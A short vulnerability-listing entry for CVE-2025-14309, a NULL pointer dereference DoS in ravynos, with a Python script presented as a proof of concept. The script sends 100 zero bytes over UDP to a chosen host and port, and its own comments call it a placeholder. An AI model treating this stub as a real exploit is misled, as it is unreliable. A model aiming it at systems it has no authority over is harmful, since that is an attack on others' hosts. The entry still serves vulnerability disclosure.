CVE-2025-14309 ravynos空指针解引用拒绝服务漏洞

# CVE-2025-14309 NULL Pointer Dereference PoC # Target: ravynos through 0.5.2 # Type: Denial of Service import socket import struct import sys def create_malformed_packet(): """Generate a malformed packet to trigger NULL pointer dereference""" # This is a placeholder PoC # The actual exploit requires analyzing the vulnerable code path packet = b'\x00' * 100 # Malformed data return packet def send_exploit(target_ip, target_port): """Send exploit payload to target""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malformed_packet() sock.sendto(payload, (target_ip, target_port)) sock.close() print(f"[+] Exploit sent to {target_ip}:{target_port}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_exploit(target_ip, target_port)